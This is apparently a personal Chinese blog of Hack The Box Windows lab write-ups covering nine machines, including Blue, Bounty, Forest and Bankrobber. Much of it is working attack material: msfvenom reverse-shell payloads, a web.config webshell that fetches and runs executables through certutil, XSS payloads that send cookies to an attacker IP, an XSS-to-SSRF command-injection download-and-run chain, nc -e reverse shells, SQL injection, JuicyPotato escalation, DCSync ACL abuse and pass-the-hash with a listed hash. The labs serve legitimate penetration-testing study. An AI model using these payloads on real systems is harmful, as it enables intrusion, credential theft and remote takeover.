Windows on MentalityXt

Hack The Box：Windows 靶机笔记

Thu, 12 Dec 2024 12:29:00 +0800

1.Blue

信息收集:

根据靶场名称一系列的基本上能确定就是永恒之蓝了

但是我不能使用msf获取虽然msf很方便

于是我开始找利用工具 exploitdb和github上都是但缺点是都难以利用 github上的作者说了python2是没问题的 python3可能无法运行

然后就是配置python2的环境这个环境非常麻烦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


python2 -m pip install --upgrade setuptools wheel
python2 -m pip install pyasn1 pycryptodomex ldap3
python2 -m pip install pyOpenSSL==20.0.1
python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3
python2 -m pip install impacket --no-deps --ignore-installed

#如果上面的最后一步无法安装就运行下面的
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python2 setup.py install

https://github.com/worawit/MS17-010

上面是项目地址我参考了很多文档将项目下载到kali

在shellcode文件夹中有一些文件其中重要的是 eternalblue_sc_merge.py 文件

根据eternalblue_sc_merge.py 文件的教程生成通用的shellcode 实际上blue靶机是x64的但还是生成一个通用的吧

1
2
3
4
5
6
7
8


nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin
msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

生成完 sc_all.bin 最后一步就是发起攻击监听可以用msfconsole 但是实际上还是想用netcat 所以此处是可以用msfconsole监听的至此可能已经完结 oscp要求不能使用msf攻击但是监听应该不会出大问题但是为了严谨还是走一下纯netcat

上面的方法nc无法捕获

优化后的项目 https://github.com/3ndG4me/AutoBlue-MS17-010/

读了项目的issue 作者已经优化了这个程序在18年的时候

但是实际上我在这里浪费了很多时间他根本没优化好我还一直在测试

回到最初的github的项目 https://github.com/worawit/MS17-010

1
2
3
4
5
6
7
8


nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
python eternalblue_exploit7.py 192.168.1.100 sc_all.bin

其实只用改一下msfvenom生成payload的模块就行

但是在 https://github.com/3ndG4me/AutoBlue-MS17-010/ 优化后的项目中生成的payload一直有问题读了下 shell_prep.sh 后续输入两个1 1 其实就跟上述代码没什么区别但就是有问题所以这个项目暂时搁置吧

最终改好的命令成功弹回了shell

进去就是system 在用户和administrators的桌面上就有flag 到此结束

下面是参考的博客感觉挺有帮助的虽然永恒之蓝是最基本初学者就要学的但是基本上没去了解底层原理并且只会用msfconsole去攻击这次利用了python脚本感觉确实不一样

https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

https://github.com/a6avind/MS17-010/blob/master/README.md

https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2

https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5

2.Arctic

信息收集:

rpc没找到能利用的漏洞看了下8500端口的服务看到了框架和版本 Adobe ColdFusion 8

开始google就行任意文件读取漏洞

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en

读密码

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

密码也有了权限更大这时去找一下rce的exp

https://www.exploit-db.com/exploits/50057

这个一眼就是根据这个靶场来写的exp 非常相似 21年写的相当于wp了

执行了之后也是拿到了shell

但是目前我只能搜到这个exp 但是读了下代码非常简单文件上传接口有未授权发包传了个jsp上去然后开线程一个监听一个访问jsp 就会反弹shell回来

接下来开始提权提权之前开始收集信息只要获取到systeminfo就能利用下面的脚本

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

这个脚本也遇到点问题限制版本就解决了

pip2 install xlrd==1.2.0

有很多提权漏洞随便找一个就行

我找到了这个github的网站

https://github.com/SecWiki/windows-kernel-exploits

挨个试了之后发现 MS10-059 是可以用的将MS10-059.exe 下载下来传到windows靶机上

certutil -urlcache -split -f http://10.10.16.3:33333/Arctic/MS10-059.exe .\MS10-059.exe

根据教程MS10-059.exe的教程运行

MS10-059.exe 10.10.16.3 5555

nc-lvnp 5555

这样就行了

结束目前打的两个靶场估计都是熟悉一下最基本的windows渗透操作后面估计会越来越难

3.Bounty

信息收集：

只开了一个端口打开只有一张图片和提示了一下用的iis7 实际上也确实是iis7

之后开始目录爆破同时查看图片是否有隐写等等信息泄露

后续没看到图片有什么

经过爆破找到了一个文件夹和一个接口

这个接口可以上传文件但貌似是白名单导致很多文件传不上去

1355表示上传失败尝试了很多绕过和iis7.0 甚至不是7.0的文件解析漏洞

但都行不懂这里确实触及到我的盲区了看了下一步的wp

提示我们需要去爆破后缀我找到了一个月前放到kali的字典

/usr/share/wordlists/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt

这里爆出了除了常规的外后缀为config的是可以上传的

https://github.com/tennc/webshell/blob/master/aspx/web.config

找到了个getshell的方法虽然我并没有学过.net 但是这个文件还是一眼能看懂用法

访问接口 ?cmd=dir 传参就行

传上去之后访问 http://10.10.10.93/UploadedFiles/web.config?cmd=whoami

先读flag吧 http://10.10.10.93/UploadedFiles/web.config?cmd=type%20c:\users\merlin\Desktop\user.txt

然后尝试获得交互式shell 传上去了个nc 失败了

还是简单点吧传个msfvenom生成的后门拼接命令

1
2


msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
http://10.10.10.93/UploadedFiles/web.config?cmd=certutil%20-urlcache%20-split%20-f%20http://10.10.16.3:33333/Bounty/shell.exe%20c:\users\merlin\shell.exe

成功了刚刚其他反弹shell的方法都没咋找到找到的也不行看来以后反弹shell离不开msfvenom了

还是先systeminfo

ms10-059还是能用再试试看

结束

提权还是跟之前刚学的一样如果存在直接用就行了 getshell的部分因为我对aspx不是很了解我一直在尝试iis的解析漏洞上传绕过等等一系列的完全走偏了没有搜到web.config这个利用后续了解了这个利用之后就方便很多了刚开始学windows靶机这个难度还算可以的了

4.Jerry

信息收集：

目录爆破没东西

tomcat版本也有

找到了对应版本的payload 失败了手动也不行

字典爆破manager吧

https://blog.csdn.net/m0_53008479/article/details/124865806

tomcat:s3cret

登陆成功到了后台

1
2


msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > ft.jsp
jar cvf ft.war ft.jsp

传上去就行

访问 http://10.10.10.95:8080/ft/ft.jsp

反弹回来为system权限

找到 C:\Users\Administrator\Desktop\flags 目录

两个flag都在里面这个靶场主要也是熟悉一下操作吧

5.Conceal

这个靶场被定义为难有很多人觉得难度在中等往上来看看吧

信息收集：

只有udp的端口开着的一直保持着扫udp确实是一个好习惯

https://refabr1k.gitbook.io/oscp/info-gathering/snmp

这个里面介绍了针对snmp的一些渗透方式但都是一些简单的枚举信息泄露吧

看起来确实没什么用

后续尝试了大量的exploit都不行但是我发现一个奇怪的点

snmpwalk -c public -v1 10.10.10.116

这一行是有一个ike vpn password存在的 udp的500端口我虽然没见过但是这个IKE我是比较熟悉的当时学习的时候将openvpn IKE FRP 这三种进内网的方法我都试了下

因为我几乎打了我能找到的所有exp 可能还存在遗漏甚至snmp有个ms06-074我都找到了

目前只有针对IKE渗透了我感觉他就是在说用这个密码去连

关于isakmp这个服务我找到了下面这个博客

https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting

这篇文章全面的解释了这个服务也告诉了大量的利用方法

接下来按照他的教程挨个走

如您在之前的回复中所见，有一个字段叫做 AUTH，其值为 PSK。这意味着 VPN 是使用预共享密钥配置的（这对渗透测试人员来说非常好）。 最后一行的值也非常重要：

1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec，并愿意进行 IKE 协商，您提议的一个或多个变换是可接受的（有效的变换将在输出中显示）。

我可能没找到供应商

while read line; do (echo “Found ID: $line” && ike-scan -M -A -n $line 10.10.10.116) | grep -B14 “1 returned handshake” | grep “Found ID:”; done < /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt

这一步是找组名ID

但是我并没有找到组名可能是字典不够强大期间我一直在搜索如何去连接ike vpn 但是没有任何博客能告诉我答案唯一的就是上面的那个博客他告诉我的需要组名ID PSK 实际上我已经有PSK了然后他要做的就是放入组名和PSK 再找一个用户名字典和密码字典进行爆破最后获得了组名用户名密码 PSK密钥才能进行连接太麻烦了而且我觉得不太现实更何况组名都无法爆破出来

这里我看了下一步的wp 我才发现我目前没有任何问题获得PSK密钥其实就已经可以去连接了只是我一直没找到合适的工具合适的方法这里我并没有去看他使用的是什么工具虽然我刚刚搜了半天连接方法啥都没搜出来

至少能确定我没有走错路就行

最后还是找到了

找到了教程我参考了大量大量的博客这个配置文件太上头了

重新回到过去找到了他的算法是3DES 从这个博客找到了3DES应该配置成什么样子

https://wiki.strongswan.org/issues/2666

获取到了两个重要的配置当然其他配置也得一条一条来

接着尝试看看能不能连能连就不看其他配置了

还是失败了一直连接中

还是挨个看版本可能有问题

google一下找到了参数

改成了1就好了

现在测测看看能不能连

还是报错接着看其他参数

https://wiki.strongswan.org/projects/strongswan/wiki/connsection

这个博客介绍了所有参数在此我找到了一个关键点因为这个地方我没设置导致我一直无法去连接

left|rightsubnet是可以选择协议的默认是TCP/UDP 导致我无法连接因为他的UDP已经开放了就是这样的一个逻辑我要进行连接只能是TCP 至此全部完善已经能连上了

流程如下

apt-get install strongswan libcharon-extra-plugins

修改下面的配置文件

vim /etc/ipsec.secrets

1
2
3
4
5
6


# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

: PSK "Dudecake1!"

vim /etc/ipsec.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


# ipsec.conf - strongSwan IPsec configuration file

# basic configuration
config setup
 charondebug="all"
 uniqueids=yes
 strictcrlpolicy=no

conn test
 authby=secret
 auto=add
 ike=3des-sha1-modp1024!
 esp=3des-sha1!
 type=transport
 keyexchange=ikev1
 left=10.10.16.3
 right=10.10.10.116
 rightsubnet=10.10.10.116[tcp]

ipsec restart

ipsec status

ipsec up test

这样就行了这一部分参考的博客有用的大概就是下面这几个

https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/

https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only

https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/

https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE

https://wiki.strongswan.org/projects/strongswan/wiki/connsection

https://wiki.strongswan.org/issues/2666

https://blog.imkasen.com/strongswan-config/

终于进去了可以扫一下TCP了目前之前发现过几个端口还是再扫一下吧

出结果了但是必须要要TCP扫描因为我们只连了TCP

ftp匿名没有任何东西

80端口扫到一个upload文件夹

smb服务连不上

ftp和http的upload文件夹很显然 ftp就是http的目录当然还得验证一下

果然ftp传了个1.txt upload里面就有现在得看看后端是什么一般好像是asp或者aspx 挨个试试吧

aspx失败

asp也失败了

asp 换了个shell就好了

https://github.com/tennc/webshell/blob/master/asp/webshell.asp

就是很奇怪msfvenom的asp后门为什么失败

生成后门

拼接命令

certutil -urlcache -split -f http://10.10.16.3:33333/Conceal/shell.exe \Users\Destitute\1.exe && start \Users\Destitute\1.exe

反弹成功

拿到了shell

开始提权但是很可惜的是我对于windows的提权并不是特别了解目前只学了systeminfo的一种方法

能试的我都试了

所以我试了很多提权发现烂土豆提权貌似很适合当前这个靶场

whoami /priv

这属于常规提权的一种不能光打靶场学习有空还是得多看看windows提权

使用还是很简单的

但是老是失败无法使用换JuicyPotato吧

项目地址：https://github.com/ohpe/juicy-potato/releases/tag/v0.1

nc地址：https://eternallybored.org/misc/netcat/

全上传到靶机

1
2


certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe
certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe

接下来准备其他文件

1
2
3
4
5
6
7


#创建反弹shell的bat文件 nc64改成绝对路径
echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 > shell.bat
# https://github.com/ohpe/juicy-potato/tree/master/CLSID 找对应的CLSID
# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list 我找的是最下面的一个
# -l 随便找一个没占用的端口就行
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
nc -lvnp 5555

结束

这个靶场受益良多最难的点我觉得在于ipsec的配置配置了非常久非常难搞

其次烂土豆提权我没咋接触过windows的常规提权不过现在记住了

6.Chatterbox

信息收集：

常规的smb连不上 nmap提示了9255和9256两个服务的信息

google了解一下这是什么服务

还是能搜到exp的

可惜的是kali上的exp 我尝试了很多遍一直不行可能是生成payload的方式有问题

还好找到了一个github的项目

https://github.com/mpgn/AChat-Reverse-TCP-Exploit

这个exp还是有点问题他拿到的是msf的shell 还是得改一下其实上面kali的那个exp已经给了生成方式但是我想加LHOST和LPORT 加上去就报错或者失败再基于这个github上的payload改一下就行

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

这样就行替换exp里的buf就行

shell

开始提权 systeminfo一下烂土豆貌似还是存在的

并没有开启

但是我们可以去到administrator目录下去找到root.txt文件

但是当访问时会提示权限不够这时候 dir /q 就会发现这个文件是当前用户的权限的只要给他赋予可读权限就行

可以参考这个： https://blog.csdn.net/senge_com/article/details/134508668

cacls root.txt /p everyone:f /e /t

结束但是目前还是没有提权到administrator

开始翻wp吧都翻一遍毕竟windows提权算是比较薄弱的部分了

貌似都是这条路目前还是没收集到类似于linux的linenum之类的信息收集脚本可能是全部要手动？

7.Forest

信息收集：

挨个来吧

domain dns

默认无共享

仔细看看发现这其实就是个域控

======================================================

此处省略5天

======================================================

5天恶补了一下域渗透基本逻辑常见漏洞全部了解复现了在我另一篇文章有记录的

在几天前当时不是太了解域的时候看了一篇wp 他是这么说的

他超出了oscp的考试范围如果这个靶场有人能直接拿下那么oscp的域渗透基本没压力这里他也提到了这个靶场更多的是练习所以这个靶场我会结合自己的思路行不通我会去看wp 直到掌握这些

从这里开始我之前访问了域控的dns smb 都没什么信息主要是信息收集没做好既然知道了目标是域控首先要拿的就是域控的主机名它可以得出域控的计算机账户名当然是默认情况下然后就是域名这几个我之前没有拿到

如下：

从ldap入手

1
2
3


这两条是收集的方法 具体参数需要查询
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -h <ip> -s base

1

nmap -n -sV -sU --script "ldap* and not brute" -p 389 10.10.10.161

1

ldapsearch -x -H ldap://10.10.10.161:389 -s base

1

ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local

这里https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap提到了一个方法就是在匿名的情况下去提取信息

1

ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain

这个网址提到了其他参数研究了一下其实这里就是一个筛选器刚刚不是请求到了很多信息吗需要一个筛选器来进行筛选

1

ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectCategory=person)" | grep sAMAccountName

筛出了具体名称

查找用户名还有几种方法

一个没见过的服务账号

1
2


GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt
GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt

拿到了TGT 先跑一下密码吧

1

hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt

1

svc-alfresco:s3rvice

这一步结束了我并不知道后续该如何获得shell 因为在我之前的利用中基本上都只有administrator 或者提权才能上去

按照之前学的挨个试试吧

提示我们貌似可以

结果置空的时候卡死了

这里了解到了一个新技巧

挨个试试吧

1

crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice

可以连上

1

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

连上了就是有点卡做做信息收集

获得的信息貌似没什么重要的在域外已经拿到很多了

从wp得知要用Bloodhound 来看看是否有可利用的路径在学习域渗透的时候我已经安装好了要安装的话网上方法特别多

我这里直接启动了在使用之前

我收集了到一个在windows处类似于linux中 LinEnum.sh这种信息收集工具

https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855

我传了上去但是并没有拿到什么信息

接下来开始使用bloodhound

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/

有powershell和exe的版本我选择了exe版本将它传上去

将文件传入windows我用的是certutil 传出来在这里我学到了一个新方法

1
2


python D:\python3.9\Scripts\smbserver.py win10 . -smb2support
copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver

将文件拖入程序就会自动加载了

左上角搜索SVC-ALFRESCO 会弹窗

点开标记这个user为当前所有者

再次转到屏幕左上角，在查询选项卡中 Analysis –>shortest path from Owned Principals

查询出来了这里我只能看明白当前我们的用户在这三个组里我去google了下

service account 服务账号组

privileged account 特权账户组

以及

并且下面还有几个博客教如何利用

才发现是自己漏学了当时把约束委派和非约束委派搞完了剩下一个基于资源的约束委派没搞刚好这个靶场能让我补齐这一块就按照教程来吧参考https://cloud.tencent.com/developer/article/1937695

域内有一个exchange服务器这里选择

1
2
3


net group "Exchange Trusted Subsystem" svc-alfresco /add /domain
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync -Verbose

这个博客里的方法还是失败了他的方法是将当前用户加入到Exchange Trusted Subsystem组中

然后给这个用户加一个DCSync的权限他也提到了必须要重新登录让ACL重新加载一下但是我并不清楚该如何给他重新加载这里就卡死了这个靶场作为学习的目的我又去看了眼wp

看清楚了他的逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


1.创建一个域账户 #我们目前是有这个权限的
net user testuser1 password /add /domain

2.给他加入Exchange Trusted Subsystem组 这个也没问题
net group "Exchange Trusted Subsystem" testuser1 /add /domain

3.关键在这一步 用ACL给他加一个DCSync权限
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\testuser1', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testuser1 -Rights DCSync

这里的操作是用testuser1给自己加上DCSync权限 我刚刚可能失败的原因是因为我给服务账户本身加权
这种方式在windows里可能不允许 也可能是我需要注销或者重新登录？ 但是我明明用了很多winrm服务
而这一步我在很多博客里都没看到 基本上就是
Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' -PrincipalIde svc-alfresco -Rights DCSync
并且我尝试就用svc-alfresco这个账户 然后使用Add-DomainObjectAcl给testuser1加权 直接报错

如下图不成功

后续想了下主要是也是因为只给了创建用户的权限也没给加权的权限当我们创建了一个普通域账户这个号是没问题把他加到Exchange Trusted Subsystem组他再给自己加权这样理解就很通顺了同时我去找claude验证我的猜想

如下图

直接PTH就行了

1
2


aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

结束！

这个靶场正如我刚开始打的时候所说基本上做学习使用我在补域渗透的时候基本上都是在本地搭的环境学的太多有点混乱这个靶场后面的基于资源的约束委派我没接触过前面的基本上有所了解但都是广而不精在这个靶场算是做到了把我学的稍微巩固了只能说还得多练习

8.Bankrobber

这里已经有了一个不好的预感了

信息收集：

smb无匿名用户

指纹

一个虚拟货币的交易平台

貌似找到了框架

发现：

可能存在越权

跟他说的一样只能在本地访问并且根据上面的信息他还将xmapp里的东西移到了TODO

信息收集基本上就是上面这些现在开始渗透

在user这个接口处 id绝对是有问题的有一个越权但是这里并没有就是信息之类的所以这里的越权貌似是没什么用其次他的凭证就是跟上面一样将你的username和password以及id放入cookie

/admin 貌似是管理员界面但是我进行爆破的时候还是一直提示权限不够

/phpmyadmin 处已知他只允许了localhost访问我在配置xff等还是无法绕过

貌似以及没什么地方可利用的但是值得一提的是 httponly为空所以可以用xss拿到cookie

在这里请求了之后它会提示管理员会在一分钟内查看他感觉这里大概率可能存在xss

主要是因为他没有回包其次上面的ID是可以尝试SQL注入的但还是挨个来吧

1
2


<script>location.href="http://10.10.16.29:33333/cookie.php?cookie="+document.cookie</script>
ncat -lvnp 33333

很可惜没接收到

尝试SQL注入但是好像这些参数都并没有访问数据库因为提到了要管理员审核

重新尝试多种XSS

1
2
3
4
5
6


<script src="http://10.10.16.29:33333/1.js"></script>
<script>
document.write('<img src="http://10.10.16.29:33333/2.js">');
</script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>

一直不成功但是根据提示来说应该是这样操作的后续看了很多其他东西目录爆破的基本上都提示403权限不够 3306也需要本地访问 smb没有匿名登录到这已经卡死了

还有一步就是https和http的网站里的东西可能有部分不一样接着来看

可惜基本一致就是加了个ssl

这里卡死了看了眼wp 终于发现问题在哪了

我没有认真看这里的参数

首先第一个数量要少于我现在的900 不能大于900

第二个指定ID 1肯定是存在的但是后面其他的存不存在得去爆破cookie的那个id参数这里填1绝对没问题

第三个才是xss

并且第二个可以从前端给他把number的限制删了改成mail地址也没问题而且上面四个payload都能用全都没问题

网上找到了一个有效的payload

1

<script>newImage().src="http://10.10.16.29:33333/cookie1.php?cookie="%2bdocument.cookie;</script>

收到了回包

1

username=admin; password=Hopelessromantic; id=1

在后台有两个接口一个用来查询信息一个用来执行命令怎么看都感觉下面可能存在命令注入

结果不让用提示在本地才让用并且加了xff也不行

查询着发现了可能存在sql注入

字符型sql注入

目前已知mysql我们是无法访问的当然这是跟具体权限设置有关过会可以读取其次就是我们已经知道了xmapp移到了TODO目录查看权限之后可能可以写shell

1

-1' UNION SELECT 1,2,3 --+

找到了回显点

当前账户

secure_file_priv权限为空说明可以写入任意文件但是目前我们还得知道绝对路径

1

-1' UNION SELECT 1,@@global.secure_file_priv,3 --+

到了这一步也不想读取账户是否能远程登录的权限了因为已经能写shell了如果目标只有mysql服务那么可能需要udf提权但是他还是有一个php站点的所以这里打算写shell 目前需要绝对路径

1
2


-1';create user 'test'@'localhost' identified by '123456';--+
-1';grant all privileges on *.* to 'test'@'%' identified by '123456' with grant option;--+

成功上来了并且具有管理员权限

权限没问题如下图

数据库的路径为

根据提示 xampp换成TODO貌似就能解决

尝试读文件

1
2
3


create table test(cmd text);
insert into test(cmd) values (load_file('C:\TODO\htdocs\notes.txt'));
update test set cmd=(load_file('C:\Windows\my.ini'));

最终尝试了很久找到了一个疑似网站目录的地方我尝试读取

1

update test set cmd=(load_file('C:/xampp/htdocs/user/transfer.php'));

是能读取出来的就代表这个文件存在而当我使用

1
2


update test set cmd=(load_file('C:/TODO/htdocs/user/transfer.php'));
update test set cmd=(load_file('C:/TODO/user/transfer.php'));

都会读取不出来先尝试在xampp里写文件把

权限不够所以这里卡死了目前只能算拥有读取和写入文件的权限

udf提权也用不了当 plugin 的值为空时不可提权 MaridaDB算是mysql的一个分支但是我一直搜不到关于mariadb的

这里已经是死路了目前还能尝试的就是php代码审计以及读取root的密码撞库 smb依然访问不了

开始读代码首先我尝试读admin目录里的然后user里的最后主页的index.php

先走能执行cmd的把其次再走刚刚存在sql注入的页面

这个代码还是很好理解的而且这里有system函数我总感觉这里是突破口

第一个限制账号密码要正确第二个验证传入cmd参数里没有$(和& 那这里其实可以用||绕过

第二个判断需要看前三个字符是否为dir 用||其实就无所谓了

主要是第三个 $_SERVER[‘REMOTE_ADDR’] 要求是本地访问的我这里找到的所有方法就是没有办法绕过只能挂代理来改变他的IP

依然没有成功

既然绕不过那么就从这一步延伸可能需要找一个ssrf 或者搭建隧道

search也没有什么东西

我开始回头发现

也就是说从来没有要移的目录他只是一个提示有xampp这目录这里我完全完全卡死了没有任何思路 mysql无法搭建隧道 smb我没有账号密码

直到我看了一眼wp 我完全忘了xss就是在本地被管理员触发的这里能触发ssrf的

已知 C:/xampp/ 目录下可以写文件的构造payload

1

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666

1
2
3
4
5


var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Cookie","id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D");
httpRequest.send('cmd=dir | powershell -c "Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe" -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe');

再触发一次就成功了这里我卡的也有点久还是没注意细节看了半天才发现url处我一直用的http://localhost/ 没有加/admin/backdoorchecker.php 而且我要等他一直发起请求我才能验证哪有问题结果就是卡了很久

但是结果是好的

传winPEASany.exe上去检查一下

密码都被删了

看端口的是否发现有个bankv2的

还是搭建隧道看看吧

1
2
3
4
5
6
7
8
9


[common]
server_addr = 10.10.16.29
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 910
remote_port = 6000

1
2


[common]
bind_port = 7000

因为只用转发这一个端口不用写代理而且写完代理还很麻烦就算了

成功了但是要密码

写了个简单的脚本

1
2
3
4
5
6


#!/bin/bash
for i in {0000..9999}
do
 echo $i
 echo $i | nc 127.0.0.1 6000
done

0021后面提示我们密码正确

这里它调用了transfer.exe这个工具并且还是绝对路径

目前思路有四种: 一是如果能偷换这个exe 就能拿到shell 二是如果不是绝对路径还能改环境变量三是这个程序有备份或者能获取到然后逆向逆向太不现实如果有源码的情况审计看看有没有注入四是拿到备份看看缓冲区溢出

一：无法替换访问不了那个目录

二：绝对路径没有办法

三：没有备份 find找了只有transfer.php等文件

四：没有备份但是能测一下

然后我想测缓冲区溢出的时候出现了神奇的一幕

貌似如果输入字母会被覆盖

果然是可以覆盖的要找覆盖点有点像缓冲区溢出但是能看出来不完全是

1
2


测试完发现32个字符刚好就能覆盖完 26个字母大小写 刚好能覆盖52个位置 其实能更快
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe

结束

这个靶场耗费了我几个小时的时间并且非常精彩期间卡住了getshell的途中两次看了wp 但都是因为自身不够仔细才导致没有注意到的因为linux方面的靶场打了很多像这种通用方面的操作实际上感觉还好被评为很难级别的原因大概率我也觉得是需要的技术很广泛？比如外网打点的XSS SQL注入 XSS+SSRF 获取shell 提权的端口转发 bash shell的编写以及一个类似于缓冲区溢出的操作但是基本上没有不能理解的技术后面还需要更仔细

9.SecNotes

信息收集：

1
2
3
4


三个都没有匿名登录
smbmap -H 10.10.10.97
smbclient -N -L //10.10.10.97
enum4linux -a 10.10.10.97

new note这里有存储型的XSS

果然跟上一个一样这里需要在contact us触发

而且我这里传上去的是

1
2
3
4
5
6
7


<script src="http://10.10.16.29:33333/1.js"></script>
<script> document.write('<img src="http://10.10.16.29:33333/2.js">'); </script>
<img src="http://10.10.16.29:33333/3.js">
<script src="http://10.10.16.29:33333/4.js"></script>
certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess

很明显 他把certutil执行了

~~所以传过去的命令将会被执行~~

1

certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe

~~目标机器还是请求下载了但是并没有被执行很明显当前目录不允许被写入~~

